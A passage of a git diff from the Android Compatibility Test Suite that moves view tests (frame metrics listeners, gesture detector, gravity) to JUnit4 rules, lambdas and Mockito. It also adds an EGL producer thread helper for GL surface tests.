+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-    }
-
-    private void layout(final int layoutId) {
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(layoutId);
-            }
-        });
+    private void layout(final int layoutId) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layoutId));
         mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testReceiveData() throws Throwable {
         layout(R.layout.scrollview_layout);
         final ScrollView scrollView = (ScrollView) mActivity.findViewById(R.id.scroll_view);
@@ -73,48 +73,33 @@
         final Handler handler = new Handler(Looper.getMainLooper());
         final Window myWindow = mActivity.getWindow();
         final Window.OnFrameMetricsAvailableListener listener =
-            new Window.OnFrameMetricsAvailableListener() {
-               @Override
-               public void onFrameMetricsAvailable(Window window, FrameMetrics frameMetrics,
-                       int dropCount) {
-                   assertEquals(myWindow, window);
-                   assertEquals(0, dropCount);
-                   data.add(new FrameMetrics(frameMetrics));
-               }
+            (Window window, FrameMetrics frameMetrics, int dropCount) -> {
+                assertEquals(myWindow, window);
+                assertEquals(0, dropCount);
+                callGetMetric(frameMetrics);
+                data.add(new FrameMetrics(frameMetrics));
             };
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getWindow().addOnFrameMetricsAvailableListener(listener, handler);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.getWindow().
+                addOnFrameMetricsAvailableListener(listener, handler));
 
         scrollView.postInvalidate();
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return data.size() != 0;
-            }
-        }.run();
+        PollingCheck.waitFor(() -> data.size() != 0);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getWindow().removeOnFrameMetricsAvailableListener(listener);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.getWindow().removeOnFrameMetricsAvailableListener(listener);
         });
 
         data.clear();
 
         // Produce 5 frames and assert no metric listeners were invoked
         for (int i = 0; i < 5; i++) {
-            ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mActivity,
-                                               () -> { scrollView.invalidate(); });
+            WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, scrollView, null);
         }
         assertEquals(0, data.size());
     }
 
+    @Test
     public void testMultipleListeners() throws Throwable {
         layout(R.layout.scrollview_layout);
         final ScrollView scrollView = (ScrollView) mActivity.findViewById(R.id.scroll_view);
@@ -123,114 +108,97 @@
         final Window myWindow = mActivity.getWindow();
 
         final Window.OnFrameMetricsAvailableListener frameMetricsListener1 =
-            new Window.OnFrameMetricsAvailableListener() {
-               @Override
-               public void onFrameMetricsAvailable(Window window, FrameMetrics frameMetrics,
-                       int dropCount) {
-                   assertEquals(myWindow, window);
-                   assertEquals(0, dropCount);
-                   data1.add(new FrameMetrics(frameMetrics));
-               }
-            };
+                (Window window, FrameMetrics frameMetrics, int dropCount) -> {
+                    assertEquals(myWindow, window);
+                    assertEquals(0, dropCount);
+                    callGetMetric(frameMetrics);
+                    data1.add(new FrameMetrics(frameMetrics));
+                };
         final ArrayList<FrameMetrics> data2 = new ArrayList<>();
         final Window.OnFrameMetricsAvailableListener frameMetricsListener2 =
-            new Window.OnFrameMetricsAvailableListener() {
-               @Override
-               public void onFrameMetricsAvailable(Window window, FrameMetrics frameMetrics,
-                       int dropCount) {
-                   assertEquals(myWindow, window);
-                   assertEquals(0, dropCount);
-                   data2.add(new FrameMetrics(frameMetrics));
-               }
-            };
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getWindow().addOnFrameMetricsAvailableListener(
-                        frameMetricsListener1, handler);
-                mActivity.getWindow().addOnFrameMetricsAvailableListener(
-                        frameMetricsListener2, handler);
-            }
+                (Window window, FrameMetrics frameMetrics, int dropCount) -> {
+                    assertEquals(myWindow, window);
+                    assertEquals(0, dropCount);
+                    callGetMetric(frameMetrics);
+                    data2.add(new FrameMetrics(frameMetrics));
+                };
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.getWindow().addOnFrameMetricsAvailableListener(
+                    frameMetricsListener1, handler);
+            mActivity.getWindow().addOnFrameMetricsAvailableListener(
+                    frameMetricsListener2, handler);
         });
 
         mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scrollView.fling(-100);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> scrollView.fling(-100));
 
         mInstrumentation.waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return data1.size() != 0 && data1.size() == data2.size();
-            }
-        }.run();
+        PollingCheck.waitFor(() -> data1.size() != 0 && data1.size() == data2.size());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getWindow().removeOnFrameMetricsAvailableListener(frameMetricsListener1);
-                mActivity.getWindow().removeOnFrameMetricsAvailableListener(frameMetricsListener2);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.getWindow().removeOnFrameMetricsAvailableListener(frameMetricsListener1);
+            mActivity.getWindow().removeOnFrameMetricsAvailableListener(frameMetricsListener2);
         });
     }
 
+    @Test
     public void testDropCount() throws Throwable {
         layout(R.layout.scrollview_layout);
         final ScrollView scrollView = (ScrollView) mActivity.findViewById(R.id.scroll_view);
 
-        final Window window = mActivity.getWindow();
         final AtomicInteger framesDropped = new AtomicInteger();
-        final AtomicInteger frameCount = new AtomicInteger();
 
         final HandlerThread thread = new HandlerThread("Listener");
         thread.start();
-        final Handler handler = new Handler(thread.getLooper());
         final Window.OnFrameMetricsAvailableListener frameMetricsListener =
-            new Window.OnFrameMetricsAvailableListener() {
-               @Override
-               public void onFrameMetricsAvailable(Window window, FrameMetrics frameMetrics,
-                       int dropCount) {
-                    try {
-                        Thread.sleep(100);
-                        framesDropped.addAndGet(dropCount);
-                    } catch (Exception e) { }
-               }
-            };
+                (Window window, FrameMetrics frameMetrics, int dropCount) -> {
+                    SystemClock.sleep(100);
+                    callGetMetric(frameMetrics);
+                    framesDropped.addAndGet(dropCount);
+                };
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getWindow().addOnFrameMetricsAvailableListener(frameMetricsListener, handler);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.getWindow().
+                addOnFrameMetricsAvailableListener(frameMetricsListener,
+                        new Handler(thread.getLooper())));
 
         mInstrumentation.waitForIdleSync();
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scrollView.fling(-100);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> scrollView.fling(-100));
 
         mInstrumentation.waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return framesDropped.get() > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(() -> framesDropped.get() > 0);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getWindow().removeOnFrameMetricsAvailableListener(frameMetricsListener);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.getWindow().
+                removeOnFrameMetricsAvailableListener(frameMetricsListener));
+    }
+
+    private void callGetMetric(FrameMetrics frameMetrics) {
+        // The return values for non-boolean metrics do not have expected values. Here we
+        // are verifying that calling getMetrics does not crash
+        frameMetrics.getMetric(FrameMetrics.UNKNOWN_DELAY_DURATION);
+        frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION);
+        frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION);
+        frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION);
+        frameMetrics.getMetric(FrameMetrics.DRAW_DURATION);
+        frameMetrics.getMetric(FrameMetrics.SYNC_DURATION);
+        frameMetrics.getMetric(FrameMetrics.COMMAND_ISSUE_DURATION);
+        frameMetrics.getMetric(FrameMetrics.SWAP_BUFFERS_DURATION);
+        frameMetrics.getMetric(FrameMetrics.TOTAL_DURATION);
+
+        // Perform basic checks on timestamp values.
+        long intended_vsync = frameMetrics.getMetric(FrameMetrics.INTENDED_VSYNC_TIMESTAMP);
+        long vsync = frameMetrics.getMetric(FrameMetrics.VSYNC_TIMESTAMP);
+        long now = System.nanoTime();
+        assertTrue(intended_vsync > 0);
+        assertTrue(vsync > 0);
+        assertTrue(intended_vsync < now);
+        assertTrue(vsync < now);
+        assertTrue(vsync >= intended_vsync);
+
+        // This is the only boolean metric so far
+        final long firstDrawFrameMetric = frameMetrics.getMetric(FrameMetrics.FIRST_DRAW_FRAME);
+        assertTrue("First draw frame metric should be boolean but is " + firstDrawFrameMetric,
+                (firstDrawFrameMetric == 0) || (firstDrawFrameMetric == 1));
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/GLProducerThread.java b/tests/tests/view/src/android/view/cts/GLProducerThread.java
new file mode 100644
index 0000000..16d4ca8
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/GLProducerThread.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.cts;
+
+import android.graphics.SurfaceTexture;
+import android.opengl.GLUtils;
+
+import junit.framework.Assert;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+import javax.microedition.khronos.egl.EGLSurface;
+
+public class GLProducerThread extends Thread {
+    private final int mFrames;
+    private final int mDelayMs;
+    private final Semaphore mSemaphore;
+    private final SurfaceTexture mSurfaceTexture;
+    private final AtomicBoolean mShouldRender;
+    private final GLRenderer mRenderer;
+
+    private EGL10 mEgl;
+    private EGLDisplay mEglDisplay = EGL10.EGL_NO_DISPLAY;
+    private EGLContext mEglContext = EGL10.EGL_NO_CONTEXT;
+    private EGLSurface mEglSurface = EGL10.EGL_NO_SURFACE;
+
+    private static final int EGL_CONTEXT_CLIENT_VERSION = 0x3098;
+    private static final int EGL_OPENGL_ES2_BIT = 4;
+
+    public interface GLRenderer {
+        void drawFrame(int frame);
+    }
+
+    private GLProducerThread(SurfaceTexture surfaceTexture, GLRenderer renderer,
+            AtomicBoolean shouldRender,
+            int frames, int delayMs, Semaphore semaphore) {
+        mShouldRender = shouldRender;
+        mFrames = frames;
+        mDelayMs = delayMs;
+        mSemaphore = semaphore;
+        mSurfaceTexture = surfaceTexture;
+        mRenderer = renderer;
+    }
+
+    GLProducerThread(SurfaceTexture surfaceTexture, GLRenderer renderer, int frames, int delayMs,
+            Semaphore semaphore) {
+        this(surfaceTexture, renderer, null, frames, delayMs, semaphore);
+    }
+
+    GLProducerThread(SurfaceTexture surfaceTexture, GLRenderer renderer, AtomicBoolean shouldRender,
+            int delayMs, Semaphore semaphore) {
+        this(surfaceTexture, renderer, shouldRender, 0, delayMs, semaphore);
+    }
+
+    private void initGL() {
+        mEgl = (EGL10) EGLContext.getEGL();
+
+        mEglDisplay = mEgl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+        if (mEglDisplay == EGL10.EGL_NO_DISPLAY) {
+            throw new RuntimeException("eglGetDisplay() failed "
+                    + GLUtils.getEGLErrorString(mEgl.eglGetError()));
+        }
+
+        int[] version = new int[2];
+        if (!mEgl.eglInitialize(mEglDisplay, version)) {
+            throw new RuntimeException("eglInitialize() failed "
+                    + GLUtils.getEGLErrorString(mEgl.eglGetError()));
+        }
+
+        int[] configAttribs = {
+            EGL10.EGL_BUFFER_SIZE, 32,
+            EGL10.EGL_ALPHA_SIZE, 8,
+            EGL10.EGL_BLUE_SIZE, 8,
+            EGL10.EGL_GREEN_SIZE, 8,
+            EGL10.EGL_RED_SIZE, 8,
+            EGL10.EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+            EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
+            EGL10.EGL_NONE
+        };
+
+        int[] numConfigs = new int[1];
+        EGLConfig[] configs = new EGLConfig[1];
+        if (!mEgl.eglChooseConfig(mEglDisplay, configAttribs, configs, 1, numConfigs)
+                || numConfigs[0] == 0) {
+            throw new RuntimeException("eglChooseConfig() failed");
+        }
+
+        int[] contextAttribs = {
+            EGL_CONTEXT_CLIENT_VERSION, 2,
+            EGL10.EGL_NONE };
+
+        mEglContext = mEgl.eglCreateContext(mEglDisplay,
+                configs[0], EGL10.EGL_NO_CONTEXT, contextAttribs);
+
+        mEglSurface = mEgl.eglCreateWindowSurface(mEglDisplay,
+                configs[0], mSurfaceTexture, null);
+
+        if (mEglSurface == null || mEglSurface == EGL10.EGL_NO_SURFACE) {
+            int error = mEgl.eglGetError();
+            if (error == EGL10.EGL_BAD_NATIVE_WINDOW) {
+                throw new RuntimeException(
+                        "eglCreateWindowSurface() returned EGL_BAD_NATIVE_WINDOW.");
+            }
+            throw new RuntimeException("eglCreateWindowSurface() failed "
+                                       + GLUtils.getEGLErrorString(error));
+        }
+
+        if (!mEgl.eglMakeCurrent(mEglDisplay, mEglSurface, mEglSurface, mEglContext)) {
+            throw new RuntimeException("eglMakeCurrent() failed "
+                                       + GLUtils.getEGLErrorString(mEgl.eglGetError()));
+        }
+    }
+
+    private void destroyGL() {
+        mEgl.eglMakeCurrent(mEglDisplay,
+                EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_CONTEXT);
+        mEgl.eglDestroyContext(mEglDisplay, mEglContext);
+        mEgl.eglDestroySurface(mEglDisplay, mEglSurface);
+        mEglContext = EGL10.EGL_NO_CONTEXT;
+        mEglSurface = EGL10.EGL_NO_SURFACE;
+    }
+
+    @Override
+    public void run() {
+        initGL();
+
+        int frame = 0;
+        while (frame < mFrames || (mShouldRender != null && mShouldRender.get())) {
+            if (mRenderer != null) {
+                mRenderer.drawFrame(frame);
+            }
+            mEgl.eglSwapBuffers(mEglDisplay, mEglSurface);
+            Assert.assertEquals(EGL10.EGL_SUCCESS, mEgl.eglGetError());
+            try {
+                sleep(mDelayMs);
+            } catch (InterruptedException e) {
+            }
+            frame++;
+        }
+
+        mSemaphore.release();
+        destroyGL();
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/GLSurfaceViewCtsActivity.java b/tests/tests/view/src/android/view/cts/GLSurfaceViewCtsActivity.java
index bff6511..bb4dce7 100644
--- a/tests/tests/view/src/android/view/cts/GLSurfaceViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/GLSurfaceViewCtsActivity.java
@@ -21,104 +21,25 @@
 import android.os.Bundle;
 import android.view.Window;
 
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.opengles.GL10;
-
 /**
  * A minimal activity for testing {@link android.opengl.GLSurfaceView}.
  * Also accepts non-blank renderers to allow its use for more complex tests.
  */
-public class GLSurfaceViewCtsActivity extends Activity {
-
-    private static class Renderer implements GLSurfaceView.Renderer {
-
-        public void onDrawFrame(GL10 gl) {
-            // Do nothing.
-        }
-
-        public void onSurfaceChanged(GL10 gl, int width, int height) {
-            // Do nothing.
-        }
-
-        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
-            // Do nothing.
-        }
-    }
-
-    private GLSurfaceView mView;
-
-    /** To override the blank renderer, or other settings, these
-     * static set* methods must be called before onCreate() is called.
-     * If using ActivityInstrumentationTestCase2, that means the set
-     * methods need to be called before calling getActivity in the
-     * test setUp().
-     */
-    private static GLSurfaceView.Renderer mRenderer = null;
-    public static void setRenderer(GLSurfaceView.Renderer renderer) {
-        mRenderer = renderer;
-    }
-    public static void resetRenderer() {
-        mRenderer = null;
-    }
-
-    private static int mRenderMode = 0;
-    private static boolean mRenderModeSet = false;
-    public static void setRenderMode(int renderMode) {
-        mRenderModeSet = true;
-        mRenderMode = renderMode;
-    }
-    public static void resetRenderMode() {
-        mRenderModeSet = false;
-        mRenderMode = 0;
-    }
-
-    private static int mGlVersion = 0;
-    private static boolean mGlVersionSet = false;
-    public static void setGlVersion(int glVersion) {
-        mGlVersionSet = true;
-        mGlVersion = glVersion;
-    }
-    public static void resetGlVersion() {
-        mGlVersionSet = false;
-        mGlVersion = 0;
-    }
-
-    private static boolean mFixedSizeSet = false;
-    private static int mFixedWidth, mFixedHeight;
-    public static void setFixedSize(int width, int height) {
-        mFixedSizeSet = true;
-        mFixedWidth = width;
-        mFixedHeight = height;
-    }
-    public static void resetFixedSize() {
-        mFixedSizeSet = false;
-    }
+public abstract class GLSurfaceViewCtsActivity extends Activity {
+    protected GLSurfaceView mView;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         mView = new GLSurfaceView(this);
-        // Only set this if explicitly asked for
-        if (mGlVersionSet) {
-            mView.setEGLContextClientVersion(mGlVersion);
-        }
-        // Use no-op renderer by default
-        if (mRenderer == null) {
-            mView.setRenderer(new Renderer());
-        } else {
-            mView.setRenderer(mRenderer);
-        }
-        // Only set this if explicitly asked for
-        if (mRenderModeSet) {
-            mView.setRenderMode(mRenderMode);
-        }
-        if (mFixedSizeSet) {
-            mView.getHolder().setFixedSize(mFixedWidth, mFixedHeight);
-        }
-        this.requestWindowFeature(Window.FEATURE_NO_TITLE);
+        configureGLSurfaceView();
+
+        requestWindowFeature(Window.FEATURE_NO_TITLE);
         setContentView(mView);
     }
 
+    protected abstract void configureGLSurfaceView();
+
     public GLSurfaceView getView() {
         return mView;
     }
diff --git a/tests/tests/view/src/android/view/cts/GestureDetectorCtsActivity.java b/tests/tests/view/src/android/view/cts/GestureDetectorCtsActivity.java
index 1c02a89..5e3a2af 100644
--- a/tests/tests/view/src/android/view/cts/GestureDetectorCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/GestureDetectorCtsActivity.java
@@ -16,33 +16,25 @@
 
 package android.view.cts;
 
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyFloat;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
 import android.app.Activity;
 import android.os.Bundle;
 import android.os.Handler;
 import android.view.GestureDetector;
 import android.view.MotionEvent;
 import android.view.View;
-import android.view.ViewGroup;
-import android.view.GestureDetector.SimpleOnGestureListener;
-import android.view.View.OnTouchListener;
 import android.view.View.OnGenericMotionListener;
+import android.view.View.OnTouchListener;
+import android.view.ViewGroup;
 import android.widget.Button;
 
 public class GestureDetectorCtsActivity extends Activity {
-
-    public boolean isDown;
-    public boolean isScroll;
-    public boolean isFling;
-    public boolean isSingleTapUp;
-    public boolean onShowPress;
-    public boolean onLongPress;
-    public boolean onDoubleTap;
-    public boolean onDoubleTapEvent;
-    public boolean onSingleTapConfirmed;
-    public boolean onContextClick;
-
     private GestureDetector mGestureDetector;
-    private MockOnGestureListener mOnGestureListener;
+    private GestureDetector.SimpleOnGestureListener mOnGestureListener;
     private Handler mHandler;
     private View mView;
     private Button mTop;
@@ -53,7 +45,14 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        mOnGestureListener = new MockOnGestureListener();
+        mOnGestureListener = mock(GestureDetector.SimpleOnGestureListener.class);
+        doReturn(true).when(mOnGestureListener).onDown(any(MotionEvent.class));
+        doReturn(true).when(mOnGestureListener).onFling(any(MotionEvent.class),
+                any(MotionEvent.class), anyFloat(), anyFloat());
+        doReturn(true).when(mOnGestureListener).onScroll(any(MotionEvent.class),
+                any(MotionEvent.class), anyFloat(), anyFloat());
+        doReturn(true).when(mOnGestureListener).onSingleTapUp(any(MotionEvent.class));
+
         mHandler = new Handler();
 
         mGestureDetector = new GestureDetector(this, mOnGestureListener, mHandler);
@@ -81,75 +80,14 @@
         return mView;
     }
 
-    public ViewGroup getViewGroup() {
-        return mViewGroup;
-    }
-
     public GestureDetector getGestureDetector() {
         return mGestureDetector;
     }
 
-    public MockOnGestureListener getListener() {
+    public GestureDetector.SimpleOnGestureListener getListener() {
         return mOnGestureListener;
     }
 
-    public class MockOnGestureListener extends SimpleOnGestureListener {
-        private MotionEvent mPreviousContextClickEvent;
-
-        public boolean onDown(MotionEvent e) {
-            isDown = true;
-            return true;
-        }
-
-        public boolean onFling(MotionEvent e1, MotionEvent e2, float velocityX, float velocityY) {
-            isFling = true;
-            return true;
-        }
-
-        public void onLongPress(MotionEvent e) {
-            onLongPress = true;
-        }
-
-        public boolean onScroll(MotionEvent e1, MotionEvent e2, float distanceX, float distanceY) {
-            isScroll = true;
-            return true;
-        }
-
-        public void onShowPress(MotionEvent e) {
-            onShowPress = true;
-        }
-
-        public boolean onSingleTapUp(MotionEvent e) {
-            isSingleTapUp = true;
-            return true;
-        }
-
-        public boolean onDoubleTap(MotionEvent e) {
-            onDoubleTap = true;
-            return false;
-        }
-
-        public boolean onDoubleTapEvent(MotionEvent e) {
-            onDoubleTapEvent = true;
-            return false;
-        }
-
-        public boolean onSingleTapConfirmed(MotionEvent e) {
-            onSingleTapConfirmed = true;
-            return false;
-        }
-
-        public boolean onContextClick(MotionEvent e) {
-            onContextClick = true;
-            mPreviousContextClickEvent = e;
-            return false;
-        }
-
-        public MotionEvent getPreviousContextClickEvent() {
-            return mPreviousContextClickEvent;
-        }
-    }
-
     class MockOnTouchListener implements OnTouchListener, OnGenericMotionListener {
 
         public boolean onTouch(View v, MotionEvent event) {
diff --git a/tests/tests/view/src/android/view/cts/GestureDetectorTest.java b/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
index 0493088..a9eb7b4 100644
--- a/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
+++ b/tests/tests/view/src/android/view/cts/GestureDetectorTest.java
@@ -16,55 +16,54 @@
 
 package android.view.cts;
 
-import android.content.Context;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
 import android.os.Handler;
 import android.os.Looper;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.view.cts.GestureDetectorCtsActivity.MockOnGestureListener;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.GestureDetector;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
 import android.view.GestureDetector.SimpleOnGestureListener;
+import android.view.MotionEvent;
 
-public class GestureDetectorTest extends
-        ActivityInstrumentationTestCase2<GestureDetectorCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class GestureDetectorTest {
 
     private static final float X_3F = 3.0f;
     private static final float Y_4F = 4.0f;
 
-    private GestureDetector mGestureDetector;
     private GestureDetectorCtsActivity mActivity;
-    private MockOnGestureListener mListener;
-    private Context mContext;
+    private GestureDetector mGestureDetector;
+    private GestureDetector.SimpleOnGestureListener mListener;
 
     private long mDownTime;
     private long mEventTime;
     private MotionEvent mButtonPressPrimaryMotionEvent;
     private MotionEvent mButtonPressSecondaryMotionEvent;
 
-    public GestureDetectorTest() {
-        super("android.view.cts", GestureDetectorCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<GestureDetectorCtsActivity> mActivityRule =
+            new ActivityTestRule<>(GestureDetectorCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mGestureDetector = mActivity.getGestureDetector();
         mListener = mActivity.getListener();
-        mContext = getInstrumentation().getTargetContext();
-        mActivity.isDown = false;
-        mActivity.isScroll = false;
-        mActivity.isFling = false;
-        mActivity.isSingleTapUp = false;
-        mActivity.onShowPress = false;
-        mActivity.onLongPress = false;
-        mActivity.onDoubleTap = false;
-        mActivity.onDoubleTapEvent = false;
-        mActivity.onSingleTapConfirmed = false;
-        mActivity.onContextClick = false;
 
         mDownTime = SystemClock.uptimeMillis();
         mEventTime = SystemClock.uptimeMillis();
@@ -78,22 +77,22 @@
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
-
         new GestureDetector(
-                mContext, new SimpleOnGestureListener(), new Handler(Looper.getMainLooper()));
-        new GestureDetector(mContext, new SimpleOnGestureListener());
+                mActivity, new SimpleOnGestureListener(), new Handler(Looper.getMainLooper()));
+        new GestureDetector(mActivity, new SimpleOnGestureListener());
         new GestureDetector(new SimpleOnGestureListener(), new Handler(Looper.getMainLooper()));
         new GestureDetector(new SimpleOnGestureListener());
-
-        try {
-            mGestureDetector = new GestureDetector(null);
-            fail("should throw null exception");
-        } catch (RuntimeException e) {
-            // expected
-        }
     }
 
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullListener() {
+        new GestureDetector(null);
+    }
+
+    @Test
     public void testLongpressEnabled() {
         mGestureDetector.setIsLongpressEnabled(true);
         assertTrue(mGestureDetector.isLongpressEnabled());
@@ -101,34 +100,29 @@
         assertFalse(mGestureDetector.isLongpressEnabled());
     }
 
+    @Test
     public void testOnSetContextClickListener() {
-        mActivity.onContextClick = false;
         mGestureDetector.setContextClickListener(null);
         mGestureDetector.onGenericMotionEvent(mButtonPressPrimaryMotionEvent);
-        assertFalse(mActivity.onContextClick);
+        verify(mListener, never()).onContextClick(any(MotionEvent.class));
 
         mGestureDetector.setContextClickListener(mListener);
         mGestureDetector.onGenericMotionEvent(mButtonPressPrimaryMotionEvent);
-        assertTrue(mActivity.onContextClick);
-        assertSame(mButtonPressPrimaryMotionEvent, mListener.getPreviousContextClickEvent());
+        verify(mListener, times(1)).onContextClick(mButtonPressPrimaryMotionEvent);
     }
 
+    @Test
     public void testOnContextClick() {
-        mActivity.onContextClick = false;
         mListener.onContextClick(mButtonPressPrimaryMotionEvent);
-        assertTrue(mActivity.onContextClick);
-        assertSame(mButtonPressPrimaryMotionEvent, mListener.getPreviousContextClickEvent());
+        verify(mListener, times(1)).onContextClick(mButtonPressPrimaryMotionEvent);
 
-        mActivity.onContextClick = false;
         mGestureDetector.onGenericMotionEvent(mButtonPressSecondaryMotionEvent);
-        assertTrue(mActivity.onContextClick);
-        assertSame(mButtonPressSecondaryMotionEvent, mListener.getPreviousContextClickEvent());
+        verify(mListener, times(1)).onContextClick(mButtonPressSecondaryMotionEvent);
     }
 
+    @Test
     public void testOnGenericMotionEvent() {
-        mActivity.onContextClick = false;
         mGestureDetector.onGenericMotionEvent(mButtonPressPrimaryMotionEvent);
-        assertTrue(mActivity.onContextClick);
-        assertSame(mButtonPressPrimaryMotionEvent, mListener.getPreviousContextClickEvent());
+        verify(mListener, times(1)).onContextClick(mButtonPressPrimaryMotionEvent);
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/GravityTest.java b/tests/tests/view/src/android/view/cts/GravityTest.java
index 86b1283..ccd3921 100644
--- a/tests/tests/view/src/android/view/cts/GravityTest.java
+++ b/tests/tests/view/src/android/view/cts/GravityTest.java
@@ -16,36 +16,46 @@
 
 package android.view.cts;
 
-import android.test.suitebuilder.annotation.SmallTest;
-import android.view.View;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Rect;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link Gravity}.
  */
-public class GravityTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GravityTest {
     private Rect mInRect;
     private Rect mOutRect;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mInRect = new Rect(1, 2, 3, 4);
         mOutRect = new Rect();
     }
 
+    @Test
     public void testConstructor() {
         new Gravity();
     }
 
-    private void applyGravity(int gravity, int w, int h, Rect container, Rect outRect, boolean bRtl) {
+    private void applyGravity(int gravity, int w, int h, boolean bRtl) {
         final int layoutDirection = bRtl ? View.LAYOUT_DIRECTION_RTL : View.LAYOUT_DIRECTION_LTR;
         Gravity.apply(gravity, w, h, mInRect, mOutRect, layoutDirection);
     }
 
+    @Test
     public void testApply() {
         mInRect = new Rect(10, 20, 30, 40);
         Gravity.apply(Gravity.TOP, 2, 3, mInRect, mOutRect);
@@ -58,12 +68,12 @@
         assertEquals(26, mOutRect.right);
         assertEquals(25, mOutRect.top);
         assertEquals(28, mOutRect.bottom);
-        applyGravity(Gravity.TOP, 2, 3, mInRect, mOutRect, false /* LTR direction */);
+        applyGravity(Gravity.TOP, 2, 3, false /* LTR direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
         assertEquals(20, mOutRect.top);
         assertEquals(23, mOutRect.bottom);
-        applyGravity(Gravity.TOP, 2, 3, mInRect, mOutRect, true /* RTL direction */);
+        applyGravity(Gravity.TOP, 2, 3, true /* RTL direction */);
         assertEquals(19, mOutRect.left);
         assertEquals(21, mOutRect.right);
